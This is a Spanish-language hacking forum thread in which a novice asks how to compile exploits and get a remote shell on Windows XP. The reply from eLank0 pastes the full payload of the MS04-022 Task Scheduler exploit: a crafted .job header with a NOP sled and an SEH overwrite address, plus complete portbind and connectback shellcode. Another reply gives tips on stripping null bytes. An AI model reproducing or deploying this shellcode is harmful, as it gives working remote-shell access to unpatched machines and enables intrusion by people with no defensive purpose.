Tema destacado: Suscripción al boletín mensual de elhacker.net
Autor
|
Tema: Compilando exploits y un poco de hacking en general (Leído 999 veces)
|
powerlamer
Desconectado
Mensajes: 5
|
Hola, esta es mi primera incursion en este mundillo, llevo unas 3h leyendo cositas de por aqui, bajando exploits, compilando, etc...
Queria vuestra opinion acerca de las conclusiones que mas o menos he ido sacando. Todos mis supuestos se basan en intentar acceder a un shell remoto en windows xp, o al menos poder ejecutar programas remotamente. La maquina desde la que estoy aprendiendo utliza linux.
1º Acceder a windows xp mediante samba es imposible.
2º La mayoria de exploits que he visto estan programados para windows e incluyen los ficheros <windows.h> y <winsocket.h> (no se si el nombre de este ultimo es exactamente asii, pero me entendeis, la libreria de sockets para windows). Me gustaria encontrar algunos exploits (recientes, no como el dcom) para poder probarlos.
3º la herramienta framework me parece muy buena, util, facil de manejar... la pena que tenga pocos exploits basados en windows. Pero la veo con futuro.
Y poco mas, consejos para empezar con todo esto desde linux?. Por conocimientos previos no hay problema, c, redes, scripting...
Gracias por vuestra atencion.
|
|
|
|
|
En línea
|
|
|
|
|
|
powerlamer
Desconectado
Mensajes: 5
|
No se, yo he mirado algunos de los que habia por aqui, y el codigo solia incluir el <windows.h> como he dicho antes.
|
|
|
|
|
En línea
|
|
|
|
|
|
powerlamer
Desconectado
Mensajes: 5
|
He encontrado un exploit bastante interesante: * (MS04-022) Microsoft Windows XP Task Scheduler (.job) Universal Exploit la url: http://www.k-otik.com/exploits/07312004.HOD-ms04022-task-expl.c.phpCompilar compila estupendamente, ahora bien, que alguien me corrija, para que el exploit valga para algo, tengo que programar una shellcode, que es un programita mitad ensamblador mitad c. Con esa shellcode que tendria que hacer exactamente?
|
|
|
|
|
En línea
|
|
|
|
eLank0
eLhAcKeR r00Lz
Desconectado
Mensajes: 937
|
Nops. jeje.. no hace falta que progrmaes ninguna shellcode, ya esta programada, es esta: SHELLCODEunsigned char jobfile[] =
/* job header */ "\x01\x05\x01\x00\xD9\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF" "\xFF\xFF\xFF\xFF\x46\x00\x92\x00\x00\x00\x00\x00\x3C\x00\x0A\x00" "\x20\x00\x00\x00\x00\x14\x73\x0F\x00\x00\x00\x00\x03\x13\x04\x00" "\xC0\x00\x80\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00"
/* length */ "\x11\x11"
/* garbage C:\... */ /* unicode */ "\x43\x00\x3A\x00\x5C\x00\x61\x00" "\x2E\x00\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00" "\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00"
"\x1E\x82\xDC\x77"
/* 0x77dc821e - pop reg, pop reg, ret (advapi32.dll) */ /* for Win2k use jmp ebx or call ebx */
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" "\x80\x31\x31\x80" /* generate exception */
"\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00" "\x90\x90";
/* portbind shellcode */ unsigned char portbindsc[] = "\x90\x90" "\x90\x90\xEB\x06" /* overwrite SEH-frame */ "\x90\x90" "\x90\x90\x90\x90" "\x90\x90\x90\x90"
"\xeb\x70\x56\x33\xc0\x64\x8b\x40\x30\x85\xc0\x78\x0c\x8b\x40\x0c" "\x8b\x70\x1c\xad\x8b\x40\x08\xeb\x09\x8b\x40\x34\x8d\x40\x7c\x8b" "\x40\x3c\x5e\xc3\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x05\x78" "\x03\xd5\x8b\x4a\x18\x8b\x5a\x20\x03\xdd\xe3\x34\x49\x8b\x34\x8b" "\x03\xf5\x33\xff\x33\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x03" "\xf8\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x03\xdd\x66\x8b" "\x0c\x4b\x8b\x5a\x1c\x03\xdd\x8b\x04\x8b\x03\xc5\x89\x44\x24\x1c" "\x61\xc3\xeb\x3d\xad\x50\x52\xe8\xa8\xff\xff\xff\x89\x07\x83\xc4" "\x08\x83\xc7\x04\x3b\xf1\x75\xec\xc3\x8e\x4e\x0e\xec\x72\xfe\xb3" "\x16\x7e\xd8\xe2\x73\xad\xd9\x05\xce\xd9\x09\xf5\xad\xa4\x1a\x70" "\xc7\xa4\xad\x2e\xe9\xe5\x49\x86\x49\xcb\xed\xfc\x3b\xe7\x79\xc6" "\x79\x83\xec\x60\x8b\xec\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x5e" "\xe8\x3d\xff\xff\xff\x8b\xd0\x83\xee\x36\x8d\x7d\x04\x8b\xce\x83" "\xc1\x10\xe8\x9d\xff\xff\xff\x83\xc1\x18\x33\xc0\x66\xb8\x33\x32" "\x50\x68\x77\x73\x32\x5f\x8b\xdc\x51\x52\x53\xff\x55\x04\x5a\x59" "\x8b\xd0\xe8\x7d\xff\xff\xff\xb8\x01\x63\x6d\x64\xc1\xf8\x08\x50" "\x89\x65\x34\x33\xc0\x66\xb8\x90\x01\x2b\xe0\x54\x83\xc0\x72\x50" "\xff\x55\x24\x33\xc0\x50\x50\x50\x50\x40\x50\x40\x50\xff\x55\x14" "\x8b\xf0\x33\xc0\x33\xdb\x50\x50\x50\xb8\x02\x01\x11\x5c\xfe\xcc" "\x50\x8b\xc4\xb3\x10\x53\x50\x56\xff\x55\x18\x53\x56\xff\x55\x1c" "\x53\x8b\xd4\x2b\xe3\x8b\xcc\x52\x51\x56\xff\x55\x20\x8b\xf0\x33" "\xc9\xb1\x54\x2b\xe1\x8b\xfc\x57\x33\xc0\xf3\xaa\x5f\xc6\x07\x44" "\xfe\x47\x2d\x57\x8b\xc6\x8d\x7f\x38\xab\xab\xab\x5f\x33\xc0\x8d" "\x77\x44\x56\x57\x50\x50\x50\x40\x50\x48\x50\x50\xff\x75\x34\x50" "\xff\x55\x08\xf7\xd0\x50\xff\x36\xff\x55\x10\xff\x77\x38\xff\x55" "\x28\xff\x55\x0c";
/* connectback shellcode */ unsigned char connectbacksc[] = "\x90\x90" "\x90\x90\xEB\x06" /* overwrite SEH-frame */ "\x90\x90" "\x90\x90\x90\x90" "\x90\x90\x90\x90"
"\xeb\x70\x56\x33\xc0\x64\x8b\x40\x30\x85\xc0\x78\x0c\x8b\x40\x0c" "\x8b\x70\x1c\xad\x8b\x40\x08\xeb\x09\x8b\x40\x34\x8d\x40\x7c\x8b" "\x40\x3c\x5e\xc3\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x05\x78" "\x03\xd5\x8b\x4a\x18\x8b\x5a\x20\x03\xdd\xe3\x34\x49\x8b\x34\x8b" "\x03\xf5\x33\xff\x33\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x03" "\xf8\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x03\xdd\x66\x8b" "\x0c\x4b\x8b\x5a\x1c\x03\xdd\x8b\x04\x8b\x03\xc5\x89\x44\x24\x1c" "\x61\xc3\xeb\x35\xad\x50\x52\xe8\xa8\xff\xff\xff\x89\x07\x83\xc4" "\x08\x83\xc7\x04\x3b\xf1\x75\xec\xc3\x8e\x4e\x0e\xec\x72\xfe\xb3" "\x16\x7e\xd8\xe2\x73\xad\xd9\x05\xce\xd9\x09\xf5\xad\xec\xf9\xaa" "\x60\xcb\xed\xfc\x3b\xe7\x79\xc6\x79\x83\xec\x60\x8b\xec\xeb\x02" "\xeb\x05\xe8\xf9\xff\xff\xff\x5e\xe8\x45\xff\xff\xff\x8b\xd0\x83" "\xee\x2e\x8d\x7d\x04\x8b\xce\x83\xc1\x10\xe8\xa5\xff\xff\xff\x83" "\xc1\x10\x33\xc0\x66\xb8\x33\x32\x50\x68\x77\x73\x32\x5f\x8b\xdc" "\x51\x52\x53\xff\x55\x04\x5a\x59\x8b\xd0\xe8\x85\xff\xff\xff\xb8" "\x01\x63\x6d\x64\xc1\xf8\x08\x50\x89\x65\x30\x33\xc0\x66\xb8\x90" "\x01\x2b\xe0\x54\x83\xc0\x72\x50\xff\x55\x1c\x33\xc0\x50\x50\x50" "\x50\x40\x50\x40\x50\xff\x55\x14\x8b\xf0\x68\x7f\x01\x01\x01\xb8" "\x02\x01\x11\x5c\xfe\xcc\x50\x8b\xdc\x33\xc0\xb0\x10\x50\x53\x56" "\xff\x55\x18\x33\xc9\xb1\x54\x2b\xe1\x8b\xfc\x57\x33\xc0\xf3\xaa" "\x5f\xc6\x07\x44\xfe\x47\x2d\x57\x8b\xc6\x8d\x7f\x38\xab\xab\xab" "\x5f\x33\xc0\x8d\x77\x44\x56\x57\x50\x50\x50\x40\x50\x48\x50\x50" "\xff\x75\x30\x50\xff\x55\x08\xf7\xd0\x50\xff\x36\xff\x55\x10\xff" "\x77\x38\xff\x55\x20\xff\x55\x0c";
/* use this form unsigned char sc[] = "\x90\x90" "\x90\x90\xEB\x06" - overwrite SEH-frame "\x90\x90" "\x90\x90\x90\x90" "\x90\x90\x90\x90"
"... code ..."; */
unsigned char endofjob[] = "\x00\x00\x00\x00"; Si lo has podido compilar, y quieres probarlo, pues lo pruebas en tu consola. Suerte. Salu2 
|
|
|
|
|
En línea
|
Antes de Postear, 
|
|
|
powerlamer
Desconectado
Mensajes: 5
|
Me da un error, referente a las librerias del gcc (una referencia indefinida a main en la libreria /usr/lib/gcc-lib/... , el shellcode tiene algo que ver con el exploit en el momento de la compilacion?- El shellcode hay que compilarlo para linux o para windows?. Se supone que esto (el shellcode) es lo que se va a ejecutar en la maquina teoricamente atacada?
|
|
|
|
|
En línea
|
|
|
|
HaCkZaTaN
Desconectado
Mensajes: 109
|
Si asi es. Pero es mejor que compilas el xploit, le haces gdb xploit sacas nulls bytes, y lees un poco de shellcodes y se te ara facil. Suerte. A mi no me parece tan duro es sino cuestion de poner atencion y practicar harto. Salu2!!
|
|
|
|
|
En línea
|
|
|
|
powerlamer
Desconectado
Mensajes: 5
|
Hasta donde yo se, el gdb solo se puede usar con binarios ejecutables. Es decir que si no me compila el gdb me vale tanto como una compresa.
El problema es que gcc NO referencia una linea de mi codigo como erronea, sino a una libreria del gcc, si hubiera sido otro caso, probablemente no hubiera puesto el comentario. Alguien ha compilado ese shellcode en linux?
|
|
|
|
|
En línea
|
|
|
|
|
|